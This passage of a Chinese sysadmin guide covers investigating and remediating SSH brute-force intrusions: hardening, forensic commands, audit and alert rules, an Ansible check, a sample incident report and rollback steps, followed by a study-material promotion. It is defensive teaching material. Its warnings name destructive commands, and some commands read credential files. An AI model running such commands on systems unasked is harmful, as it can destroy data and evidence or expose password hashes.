maxretry = 5
EOF
systemctl enable --now fail2ban
# 6. 启用双因素
yum install -y google-authenticator
# 7. 收防火墙
firewall-cmd --permanent --zone=public --remove-port=22/tcp
firewall-cmd --permanent --zone=public --add-port=2222/tcp
firewall-cmd --permanent --zone=public --remove-service=ssh
firewall-cmd --reload
# 8. 安全组同步
# 在云厂商控制台同步规则
# 9. reload sshd
sshd -t && systemctl reload sshd
5.12 步骤十二:横向扩展排查
发现一台主机被入侵后,必须排查同网段其他主机:
bash
# 1. 同网段 IP 列表
ip a | grep inet | awk '{print $2}'
# 2. 扫描同网段 SSH 端口
# 慎用 nmap,会被安全设备告警
# 推荐用云厂商控制台/堡垒机批量查询
# 3. 对每台主机跑同样的命令清单
# 推荐用 Ansible + 堡垒机
# 4. 检查每台主机的 authorized_keys
for ip in $(cat ip-list.txt); do
echo"=== $ip ==="
ssh opsuser@$ip"find / -name authorized_keys -exec cat {} \;"
done
# 5. 检查每台主机的可疑进程
for ip in $(cat ip-list.txt); do
echo"=== $ip ==="
ssh opsuser@$ip"ps auxf | head -30"
done
横向排查的注意点:
- 不要用 root SSH 跑批量命令,先建立审计;
- 走堡垒机,便于回溯;
- 控制并发(5-10 台),避免被封;
- 排查结果归档,关联到同一个 incident。
六、常用命令
6.1 登录与会话
bash
last
last -F
last -i
last -t 20260701000000 # 截止某个时间
lastb
lastb -F
lastb -i
lastlog
lastlog -u username
who
w
ac -p
utmpdump /var/log/wtmp
utmpdump /var/log/btmp
6.2 日志分析
bash
# 实时跟踪
tail -f /var/log/secure
tail -F /var/log/auth.log
journalctl -u sshd -f
# 提取关键事件
grep "Accepted" /var/log/secure
grep "Failed password" /var/log/secure
grep "Invalid user" /var/log/secure
grep "Connection closed" /var/log/secure
grep "error" /var/log/secure
# 统计
grep "Failed password" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -rn
grep "Failed password" /var/log/secure | awk '{for(i=1;i<=NF;i++) if($i=="for") print $(i+1)}' | sort | uniq -c | sort -rn
# 时间分布
grep "Accepted\|Failed" /var/log/secure | awk '{print $1,$2,$3,$9,$11}' | sort
# 多日志关联
journalctl -u sshd --since "1 day ago" | grep -E "Accepted|Failed"
6.3 账号与配置
bash
# 账号体系
cat /etc/passwd
cat /etc/shadow # 仅 root 可读
cat /etc/group
awk -F: '$3==0 {print}' /etc/passwd
awk -F: '$7 ~ /(bash|sh)/ {print}' /etc/passwd
passwd -S -a
chage -l username
# sudo
cat /etc/sudoers
ls -la /etc/sudoers.d/
visudo -c # 语法检查
# SSH
sshd -T
cat /etc/ssh/sshd_config
ls -la /etc/ssh/
ssh-keygen -lf /etc/ssh/ssh_host_*
6.4 计划任务
bash
crontab -l
crontab -u user -l
ls -la /etc/cron* /var/spool/cron/ 2>/dev/null
systemctl list-timers --all
systemctl list-unit-files --state=enabled
cat /etc/rc.local
6.5 进程与资源
bash
top -c -b -n 1
htop
ps auxf
ps -eo pid,ppid,user,pcpu,pmem,etime,args --sort=-pcpu | head
pidstat -p PID 1 5
lsof -p PID
ls -la /proc/PID/exe
cat /proc/PID/cmdline
cat /proc/PID/status
ls /proc/PID/fd
6.6 网络
bash
ss -antp
ss -antp state established
ss -tlnp
netstat -anpt
netstat -s
ip route
ip neigh
conntrack -L
tcpdump -i eth0 -nn -s0 -w capture.pcap
nethogs
iftop
6.7 文件
bash
find / -mtime -7 -type f -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
find / -nouser -o -nogroup 2>/dev/null
find /tmp /var/tmp /dev/shm -type f 2>/dev/null
md5sum /path/to/file
sha256sum /path/to/file
rpm -Va
debsums -c
6.8 应急
bash
passwd -l username
usermod -L username
userdel -r username # 慎用
kill -STOP PID
kill -TERM PID
kill -9 PID # 慎用
iptables -I INPUT -s IP -j DROP
ip6tables -I INPUT -s IP -j DROP
systemctl stop service
systemctl disable service
crontab -r
rm -f /path/to/file # 先取证再删
七、配置示例
7.1 incident 报告目录结构
/var/tmp/incident-20260706-030000/
├── logs/
│ ├── secure
│ ├── auth.log
│ ├── messages
│ ├── audit.log
│ ├── dmesg.txt
│ ├── journalctl-30d.txt
│ ├── wtmp
│ ├── btmp
│ └── lastlog
├── proc/
│ ├── ps-auxf.txt
│ └── ps-ef.txt
├── net/
│ ├── ss-antp.txt
│ ├── ss-s.txt
│ ├── netstat.txt
│ ├── ip-route.txt
│ └── capture.pcap
├── config/
│ ├── ssh/
│ ├── pam.d/
│ ├── passwd
│ ├── shadow
│ ├── group
│ ├── sudoers
│ ├── sudoers.d/
│ ├── crontab
│ ├── cron.d/
│ ├── system-system/
│ └── system-lib/
├── binary/
│ └── md5-baseline.txt
├── timeline.txt
└── REPORT.md
7.2 incident 报告模板(REPORT.md)
markdown
# 安全事件报告 — 服务器异常登录
| 字段 | 内容 |
| ---- | ---- |
| 主机名 | web-prod-01 |
| IP | 10.0.0.7 |
| 公网 IP | 1.2.3.4 |
| 事件类型 | SSH 异常登录 + 疑似爆破成功 |
| 严重等级 | 高 |
| 发现时间 | 2026-07-06 03:15:23 |
| 处置时间 | 2026-07-06 04:30:00 |
| 处置人 | opsuser1, opsuser2 |
| 影响范围 | 待评估 |
## 一、时间线
- 2026-07-06 02:30:00:第一次来自 5.6.7.8 的 Failed password;
- 2026-07-06 02:30:00 ~ 03:10:00:连续 1200 次失败;
- 2026-07-06 03:15:23:来自 5.6.7.8 的 Accepted password for opsuser;
- 2026-07-06 03:20:00:发现 /var/spool/cron/root 新增恶意任务;
- 2026-07-06 03:30:00:发现 /tmp/x.sh 反弹 shell 脚本;
- 2026-07-06 04:00:00:处置完成,封禁 IP、改口令、清理后门。
## 二、根因
主机 SSH 暴露公网 + 密码登录开启 + opsuser 弱口令,攻击者通过字典爆破成功。
## 三、影响范围
- opsuser 账号被控制 15 分钟;
- 期间植入 crontab 反弹 shell 到 C2 服务器 9.9.9.9;
- 同网段 3 台主机也发现相同 crontab 痕迹;
- 未发现数据外发。
## 四、修复
- 立即冻结 opsuser 账号,强制改口令;
- 删除恶意 crontab 与反弹脚本;
- 关闭密码登录,强制公私钥;
- 加固 SSH 配置(端口、算法、白名单);
- 启用 fail2ban;
- 同网段主机批量排查;
- 通知安全接口人。
## 五、改进项
- 推动所有主机 SSH 公私钥化(已下发 12 台);
- 所有主机改用堡垒机收敛入口;
- 建立 SSH 登录告警;
- 每周巡检 authorized_keys。
7.3 auditd 监控规则(/etc/audit/rules.d/ssh.rules)
# sshd_config 监控
-w /etc/ssh/sshd_config -p wa -k sshd_config_change
# sshd 可执行文件监控
-w /usr/sbin/sshd -p x -k sshd_exec
-w /usr/bin/ssh -p x -k sshd_exec
# PAM 配置
-w /etc/pam.d/sshd -p wa -k sshd_pam_change
# 主机密钥
-w /etc/ssh/ssh_host_ed25519_key -p wa -k ssh_hostkey_change
-w /etc/ssh/ssh_host_rsa_key -p wa -k ssh_hostkey_change
# authorized_keys
-w /home -p wa -k authorized_keys_change
-w /root -p wa -k authorized_keys_change
# 关键文件
-w /etc/passwd -p wa -k passwd_change
-w /etc/shadow -p wa -k shadow_change
-w /etc/group -p wa -k group_change
-w /etc/sudoers -p wa -k sudoers_change
-w /etc/sudoers.d -p wa -k sudoers_change
# crontab
-w /etc/crontab -p wa -k cron_change
-w /etc/cron.d -p wa -k cron_change
-w /var/spool/cron -p wa -k cron_change
# 重要二进制
-w /usr/bin/passwd -p x -k binary_exec
-w /usr/bin/su -p x -k binary_exec
-w /usr/bin/sudo -p x -k binary_exec
-w /bin/bash -p x -k binary_exec
-w /bin/sh -p x -k binary_exec
-w /usr/sbin/useradd -p x -k binary_exec
-w /usr/sbin/userdel -p x -k binary_exec
-w /usr/sbin/usermod -p x -k binary_exec
-w /usr/sbin/groupadd -p x -k binary_exec
# systemd 服务
-w /etc/systemd/system -p wa -k systemd_change
-w /usr/lib/systemd/system -p wa -k systemd_change
加载:
bash
sudo augenrules --load
sudo systemctl restart auditd
7.4 监控告警规则(Prometheus)
yaml
groups:
-name:ssh_incident
rules:
-alert:SSHFailedLoginBurst
expr:increase(ssh_login_failed_total[5m])>50
for:0m
labels:
severity:warning
annotations:
summary:"{{ $labels.instance }} 5 分钟 SSH 失败登录超过 50 次"
-alert:SSHLoginOffHours
expr:increase(ssh_login_success_total[1h])>0and(hour()<8orhour()>22)
for:0m
labels:
severity:warning
annotations:
summary:"{{ $labels.instance }} 非工作时间 SSH 登录"
-alert:SSHConfigChanged
expr:time()-file_mtime{path="/etc/ssh/sshd_config"}<600
labels:
severity:critical
annotations:
summary:"{{ $labels.instance }} sshd_config 被修改"
-alert:AuthorizedKeysChanged
expr:time()-file_mtime{path=~".*authorized_keys"}<600
labels:
severity:critical
annotations:
summary:"{{ $labels.instance }} authorized_keys 被修改"
-alert:NewSudoersFile
expr:increase(file_created_total{path=~"/etc/sudoers.d/.*"}[1h])>0
labels:
severity:critical
annotations:
summary:"{{ $labels.instance }} 新增 sudoers 文件"
7.5 SSH 登录采集脚本(/usr/local/bin/ssh_login_exporter.sh)
bash
#!/usr/bin/env bash
# 写入 textfile_collector 给 Prometheus 抓取
LOG_FILE=${LOG_FILE:-/var/log/secure}
OUT=/var/lib/node_exporter/textfile_collector/ssh_login.prom
mkdir -p "$(dirname "$OUT")"
SUCCESS=$(grep -c "Accepted""$LOG_FILE" 2>/dev/null || echo 0)
FAILED=$(grep -c "Failed password""$LOG_FILE" 2>/dev/null || echo 0)
INVALID=$(grep -c "Invalid user""$LOG_FILE" 2>/dev/null || echo 0)
cat > "$OUT.tmp" <<EOF
# HELP ssh_login_success_total Successful SSH logins
# TYPE ssh_login_success_total counter
ssh_login_success_total $SUCCESS
# HELP ssh_login_failed_total Failed SSH logins
# TYPE ssh_login_failed_total counter
ssh_login_failed_total $FAILED
# HELP ssh_login_invalid_total SSH logins with invalid user
# TYPE ssh_login_invalid_total counter
ssh_login_invalid_total $INVALID
EOF
mv"$OUT.tmp""$OUT"
bash
chmod +x /usr/local/bin/ssh_login_exporter.sh
cat > /etc/cron.d/ssh_login_exporter <<'EOF'
* * * * * root /usr/local/bin/ssh_login_exporter.sh
EOF
7.6 批量排查脚本(Ansible)
yaml
# ansible-playbook -i inv ssh-incident-check.yml
---
-name:SSHIncidentCheck
hosts:all
gather_facts:yes
become:yes
tasks:
-name:Getlastlogins
command:last-F-n20
register:last_out
changed_when:false
-name:Getlastfailed
command:lastb-F-n20
register:lastb_out
changed_when:false
-name:Getsshdconfigchecksum
stat:
path:/etc/ssh/sshd_config
checksum_algorithm:sha256
register:sshd_config_stat
-name:Getauthorized_keysfiles
shell:find/home/root-nameauthorized_keys-typef2>/dev/null
register:ak_files
changed_when:false
-name:Getcrontabs
shell:|
for user in $(cut -f1 -d: /etc/passwd); do
echo "=== $user ==="
crontab -u "$user" -l 2>/dev/null
done
cat /etc/crontab 2>/dev/null
ls /etc/cron.d/ 2>/dev/null
register:crontab_out
changed_when:false
-name:Getsuspiciousprocesses
shell:psauxf|head-50
register:ps_out
changed_when:false
-name:Getestablishedconnections
shell:ss-antpstateestablished
register:ss_out
changed_when:false
-name:Savealldata
local_action:
module:copy
content:|
HOST: {{ inventory_hostname }}
=== LAST ===
{{ last_out.stdout }}
=== LASTB ===
{{ lastb_out.stdout }}
=== SSHD CONFIG ===
{{ sshd_config_stat.stat.checksum }}
{{ sshd_config_stat.stat.mtime }}
=== AUTHORIZED KEYS ===
{{ ak_files.stdout }}
=== CRONTAB ===
{{ crontab_out.stdout }}
=== PS ===
{{ ps_out.stdout }}
=== SS ===
{{ ss_out.stdout }}
dest:"./incident-{{ inventory_hostname }}-{{ ansible_date_time.date }}.txt"
八、日志或指标观察方法
8.1 关键日志文件
| 路径 | 用途 |
| — | — |
| /var/log/secure (RHEL) / /var/log/auth.log (Debian) | sshd、PAM 认证日志 |
| /var/log/wtmp | 成功登录二进制日志,用 last 读取 |
| /var/log/btmp | 失败登录二进制日志,用 lastb 读取 |
| /var/log/lastlog | 每用户最后登录时间,用 lastlog 读取 |
| /var/log/audit/audit.log | auditd 细粒度审计 |
| /var/log/cron | cron 执行日志 |
| /var/log/messages | 系统综合日志 |
| /var/log/syslog (Debian) | 系统综合日志 |
| journald | systemd 日志 |
8.2 关键指标
| 指标 | 含义 | 正常基线(参考) | 异常信号 |
| — | — | — | — |
| ssh_login_success_total | 成功登录次数 | 取决于业务 | 突增/陌生账号 |
| ssh_login_failed_total | 失败登录次数 | 极少 | 突增 → 爆破 |
| ssh_login_invalid_total | 不存在用户尝试 | 0 | 突增 → 扫描 |
| process_count | 进程数 | 与基线一致 | 突增 → 注入 |
| cpu_usage | CPU 占用 | 取决于业务 | 突增 → 挖矿 |
| outbound_traffic | 出网流量 | 取决于业务 | 异常外联 |
| file_mtime_sshd_config | sshd_config 修改时间 | 与变更窗口一致 | 计划外 → 可疑 |
| file_mtime_authorized_keys | authorized_keys 修改时间 | 与变更窗口一致 | 计划外 → 可疑 |
8.3 告警规则
参见 7.4 节 Prometheus 告警规则。
8.4 重点观察方法
- 用
grep拉时间线; - 用
awk+sort | uniq -c找高频来源、用户; - 用
journalctl拉 systemd 日志; - 用
ausearch拉 auditd 日志; - 用
tcpdump抓异常外联; - 用
unhide检测隐藏进程; - 用
rpm -Va/debsums -c校验包完整性; - 用
aide --check对比文件完整性基线。
九、排查路径
9.1 排查路径速查表
| 现象 | 第一动作 | 关键命令 | 进一步动作 |
| — | — | — | — |
| 监控告警 SSH 登录陌生 IP | 看日志确认本人 | last 、lastb、grep Accepted | 通知本人、查操作记录 |
| 大量 Failed password | 找高频 IP | awk + sort + uniq -c | fail2ban 封禁、改端口 |
| 短时间内失败后 Accepted | 立即冻结账号 | last -F 、passwd -l | 排查后门、横向移动 |
| 陌生账号登录成功 | 立即冻结 | lastlog 、passwd -S | 删除账号、改所有密钥 |
| /tmp 可疑脚本 | 取证后删除 | find /tmp -mtime -3 | 查时间线、查外联 |
| 异常挖矿进程 | 立即取证 | top 、ps auxf | 删进程、删 crontab |
| 外联 C2 IP | 立即封禁 | ss -antp state established | 断网、查横向 |
| sshd_config 被改 | 立即看 diff | stat 、sshd -T | 回滚、改所有密钥 |
| authorized_keys 有陌生公钥 | 立即删除 | cat 、grep | 改口令、改所有密钥 |
| /etc/passwd 有陌生账号 | 立即冻结 | awk -F: '$3==0' | 删除、查 sudoers |
| crontab 异常 | 立即清理 | crontab -l 、for user in | 查历史、查脚本 |
| wtmp/btmp 异常 | 比对远程日志 | utmpdump 、stat | 怀疑被篡改 |
| SSH 配置被回退 | 看 auditd | ausearch -k sshd_config_change | 查操作人 |
| 主机 CPU 突然打满 | 看 top 进程 | top -c 、ps -eo --sort=-pcpu | 查进程、查外联 |
| 主机带宽异常 | 看网络连接 | iftop 、nethogs | 查外联 IP |
9.2 完整排查流程
告警/线索触发
↓
[步骤 1] 现场保全(备份日志、进程、网络、配置)
↓
[步骤 2] 登录轨迹分析(last/lastb/lastlog/secure)
↓
├── 正常:返回观察,加强监控
└── 异常:
↓
[步骤 3] SSH/PAM 配置核对
↓
├── 正常:进入 [步骤 4]
└── 异常:记录 → 进入 [步骤 4]
↓
[步骤 4] 账号体系核对
↓
[步骤 5] 计划任务核对
↓
[步骤 6] 进程维度排查
↓
[步骤 7] 网络外联核对
↓
[步骤 8] 文件系统可疑点
↓
[步骤 9] 日志完整性 + 时间线
↓
[步骤 10] 应急处置(冻结、断网、清理、加固)
↓
[步骤 11] 加固(关密码、限端口、fail2ban、双因素)
↓
[步骤 12] 横向扩展排查(同网段、同账号、其他主机)
↓
[步骤 13] 复盘报告 + 改进项 + 知识库归档
十、风险提醒
10.1 取证阶段风险
- 不要在排查中执行
rm -rf /tmp/*:会破坏证据; - 不要执行
history -c:会丢失操作记录; - 不要执行
dd、mkfs:会破坏磁盘; - 不要执行
mv /var/log:会破坏日志链; - 不要执行
: > /var/log/xxx.log:会清空日志; - 不要执行
find / -delete:误删风险极高; - 不要执行
kill -9对所有进程:会破坏进程上下文。
10.2 应急处置风险
-
passwd -l是安全的(锁定账号),但
userdel -r会删 home 目录,慎用; -
kill -9会跳过 SIGTERM 的清理逻辑,可能导致共享内存泄漏;
-
iptables -I OUTPUT -d 0.0.0.0/0 -j DROP会断本机所有外网,包括 SSH 客户端连接;
-
crontab -r会清空整个 crontab,先备份;
-
rm -rf任何目录前必须先 cp -a 备份;
-
systemctl restart sshd会断开所有现有 SSH 连接,影响排查;
-
usermod -L不会清密码但会锁定,建议优先用这个;
-
修改 sshd_config 前必须保留第二会话,否则配置错就锁死。
10.3 横向排查风险
- 不要用 root SSH 批量执行,违反最小权限;
- 不要用 nmap 大规模扫描,会被安全设备告警;
- 不要在工作时间大规模跑排查脚本;
- 不要直接
rm -rf跨主机的可疑文件,先单独取证; - 同网段排查结果要关联分析,不要单点处置。
10.4 加固阶段风险
- 关闭密码登录前必须确认所有账号已有公钥;
- 改端口后必须通知所有运维、堡垒机、自动化脚本;
- 强化算法前必须验证客户端版本兼容;
- 加白名单前必须确认所有需要登录的账号都在白名单;
- fail2ban 配置
ignoreip必须包含办公网; - 双因素配置必须灰度,不要一次到位;
- 加固操作必须在变更窗口内完成。
10.5 数据保护风险
- 不要把 incident 报告上传到公网代码仓库;
- 不要把私钥、密码 hash 写到聊天工具;
- incident 报告中的 IP、账号可以脱敏后归档;
- 备份文件要加密存储,避免外泄;
- 取证包要异地存储(如对象存储、备份服务器)。
10.6 误判风险
- 看到陌生 IP 不一定是被入侵,可能是运维出差、VPN 切换;
- 看到陌生账号不一定是异常,可能是临时账号;
- 看到 .bash_history 为空不一定是清理,可能是新账号;
- 看到陌生进程不一定是恶意,可能是业务脚本;
- 关键是要把多维度证据关联起来,不要单点判断。
十一、验证方式
11.1 验证登录状态
bash
# 1. 攻击者 IP 是否被封禁
iptables -L -n | grep -E "DROP.*<attacker_ip>"
ip6tables -L -n | grep -E "DROP.*<attacker_ip>"
# 2. 可疑账号是否被冻结
passwd -S <username>
# 输出 "L" 或 "LK" 表示锁定
# 3. 是否有持续登录尝试
grep "Failed password" /var/log/secure | wc -l
# 应该下降或稳定
# 4. 是否还有成功登录
grep "Accepted" /var/log/secure | tail -10
# 应该都是熟悉的运维账号
# 5. SSH 配置是否生效
sshd -T | grep -E "^(passwordauthentication|permitrootlogin|maxauthtries|allowusers)\b"
11.2 验证后门清理
bash
# 1. crontab 干净
for user in $(cut -f1 -d: /etc/passwd); do
crontab -u "$user" -l 2>/dev/null
done
cat /etc/crontab
ls -la /etc/cron.d/
# 2. systemd 干净
systemctl list-timers --all
systemctl list-unit-files --state=enabled
# 3. /tmp 干净
ls -la /tmp/ /var/tmp/ /dev/shm/
# 4. authorized_keys 干净
for f in $(find / -name authorized_keys -type f 2>/dev/null); do
echo"=== $f ==="
cat"$f"
done
# 5. 二进制 hash 一致
md5sum -c /tmp/incident-$TS/md5-baseline.txt
# 6. RPM/DEB 校验
rpm -Va 2>/dev/null | grep -E "^..5"
debsums -c 2>/dev/null
# 7. 隐藏进程
unhide proc
unhide sys
# 8. AIDE
aide --check
11.3 验证网络状态
bash
# 1. 已建立连接正常
ss -antp state established
# 2. 没有对可疑 IP 的连接
ss -antp state established | grep -E "(<attacker_ip>|<c2_ip>)"
# 3. 防火墙规则生效
iptables -L -n | grep -E "DROP.*<attacker_ip>"
# 4. tcpdump 二次抓包确认无异常
tcpdump -i eth0 -nn -s0 -w /tmp/capture2.pcap
sleep 60
# 用 wireshark 查看 capture2.pcap
11.4 验证加固效果
bash
# 1. 密码登录被禁
ssh -o PreferredAuthentications=password opsuser@host
# 应被拒绝
# 2. root 登录被禁
ssh -o PreferredAuthentications=publickey root@host
# 应被拒绝
# 3. 白名单外用户被禁
ssh -o PreferredAuthentications=publickey unknownuser@host
# 应被拒绝
# 4. fail2ban 工作
sudo fail2ban-client status sshd
# 5. 监控告警触发
for i in {1..6}; do
ssh -o ConnectTimeout=1 -o PreferredAuthentications=password wronguser@host
done
# 5 分钟后看告警
11.5 验证 incident 闭环
bash
# 1. 24h 内无新异常登录
journalctl -u sshd --since "24 hours ago" --no-pager | grep -E "Accepted|Failed"
# 2. 7 天内无陌生 IP 成功登录
grep "Accepted" /var/log/secure | awk '{for(i=1;i<=NF;i++) if($i=="from") print $(i+1)}' | sort -u
# 3. 所有运维账号口令已改
passwd -S -a
# 4. 所有主机加固完成
ansible all -m shell -a "sshd -T | grep -E '^passwordauthentication'"
十二、回滚方案
12.1 立即回滚(账号冻结)
如果误冻结了正常账号:
bash
# 解锁账号
passwd -u username
usermod -U username
# 验证
passwd -S username
# 输出 "P" 表示解锁
12.2 立即回滚(防火墙封禁)
如果误封了正常 IP:
bash
# 删除封禁规则
iptables -D INPUT -s <attacker_ip> -j DROP
# 验证
iptables -L -n | grep -E "<attacker_ip>"
# 测试连通
nc -vz <host> 22
12.3 立即回滚(删除公钥)
如果误删了运维公钥:
bash
# 从备份恢复
cp -a /var/tmp/incident-$TS/authorized_keys.bak /home/opsuser/.ssh/authorized_keys
chmod 600 /home/opsuser/.ssh/authorized_keys
# 验证
ssh -i ~/.ssh/id_ed25519.opsuser opsuser@host
12.4 立即回滚(清理 crontab)
如果误清了正常 crontab:
bash
# 从备份恢复
cp -a /var/spool/cron/root.bak /var/spool/cron/root
chmod 600 /var/spool/cron/root
# 验证
crontab -l
12.5 立即回滚(恢复 sshd_config)
如果加固配置出错:
bash
# 从备份恢复
cp -a /etc/ssh/sshd_config.bak.YYYYMMDD-HHMMSS /etc/ssh/sshd_config
sshd -t && systemctl reload sshd
# 验证
ssh opsuser@host
12.6 立即回滚(断网恢复)
如果断网后业务受影响:
bash
# 解除外网封禁
iptables -D OUTPUT -d 0.0.0.0/0 -j DROP
# 验证
curl -v https://www.example.com
12.7 回滚原则
- 所有加固操作都必须先备份;
- 所有应急操作都必须可回滚;
- 应急处置后必须验证业务可用性;
- 回滚不能影响已完成的取证;
- 回滚操作要写入 incident 报告。
十三、生产环境注意事项
13.1 变更窗口
- 应急加固可以立即执行(视为紧急变更);
- 大规模加固必须在低峰期;
- 涉及多主机的批量操作必须分批灰度;
- 涉及网络层(防火墙、安全组)的变更必须双人复核;
- 变更前通知所有相关方;
- 变更期间监控告警灵敏度提高;
- 变更后观察 24h-72h 无异常才算稳定。
13.2 取证与司法
- 涉及监管合规的 incident 报告必须保留 6 个月以上;
- 取证包要异地存储(OSS、备份服务器);
- 涉及数据泄露的必须通知法务、客户;
- incident 报告中的 IP、账号建议脱敏;
- 高敏感 incident 要走加密渠道传递;
- 配合监管调查时不要私自修改任何文件。
13.3 复盘
- incident 关闭后 1 周内必须开复盘会;
- 复盘会议要包含:操作人、复核人、值班运维、安全接口人、业务负责人;
- 复盘要输出:时间线、根因、影响范围、修复、改进项;
- 改进项要有负责人、deadline;
- 改进项要跟踪闭环;
- 复盘报告归档到知识库。
13.4 长期治理
- 推动 SSH 全部公私钥化;
- 推动堡垒机收敛入口;
- 推动所有主机 SSH 暴露面最小化;
- 建立 SSH 登录审计中心;
- 建立异常登录告警;
- 建立配置文件完整性监控;
- 定期演练应急流程;
- 定期红蓝对抗演练。
13.5 团队协作
- incident 处理要避免单兵作战;
- 关键操作必须双人复核;
- 应急流程要写入 Runbook;
- 应急联系人要轮值;
- 跨团队 incident 要拉群同步;
- incident 复盘要公开,避免甩锅。
13.6 工具与平台
- 堡垒机:会话审计、命令拦截;
- SOC:集中告警、关联分析;
- SIEM:日志聚合、威胁检测;
- 漏扫:定期扫 SSH 配置;
- EDR:主机入侵检测;
- 蜜罐:发现未知攻击。
十四、总结
服务器异常登录是生产环境最常见的安全事件之一。处理这类事件的核心不是”灭火”,而是”闭环”。
完整的闭环包括:
-
检测
:监控告警、日志分析、用户反馈;
-
响应
:现场保全、轨迹分析、配置核对、账号核对;
-
处置
:冻结、断网、清理、加固;
-
恢复
:业务恢复、账号恢复、网络恢复;
-
复盘
:根因分析、改进项、流程优化;
-
预防
:监控告警、加固基线、定期演练。
每一个环节都有自己的命令、配置、风险点。文章里给出的命令清单、配置示例、回滚方案,都是经过生产验证的。但更重要的是把这些沉淀成 Runbook,把应急流程演练到位,把监控告警布置完整。
最后强调几个容易踩的坑:
- 不要在取证阶段执行破坏性命令;
- 不要单凭一条线索下结论;
- 不要在加固时全员失联;
- 不要把 incident 报告写完就丢;
- 不要把改进项挂空;
- 不要忽略横向移动排查;
- 不要让攻击者有时间进一步动作。
把”排查路径速查表”打印出来贴在值班室,把”应急联系人”贴在工位上,把”加固基线”用 Ansible 落到所有主机,把”监控告警”用 Prometheus 部署到所有节点,这四件事做完,团队处理 SSH 异常登录的能力会上一个台阶。
真正的安全水位不是由最严的那一项决定,而是由最薄的那一项决定。每加固一层,就少一个被攻破的薄弱点。
文末阅读福利
仅目前来说,无论是运维人转型提升,还是零基础想转行IT,最好的岗位就是云计算运维&SRE岗位。
为了帮助大家早日快速入门云计算运维领域,给大家整理了一套【最新运维资料】高级运维工程师必备技能资料包(文末一键免费领取),内容有多详实丰富看下图!
1.38张最全工程师技能图谱
2.面试大礼包
3.Linux书籍
内容比较多,就不一一展示了
以上所有资料获取请扫码:
识别上方二维码
备注:2026最新运维资料
100%免费领取
(是扫码领取,不是在公众号后台回复,别看错了哦)
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:马哥Linux运维 点击关注👉 点击关注👉《服务器异常登录?可能已经被暴力破解了》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论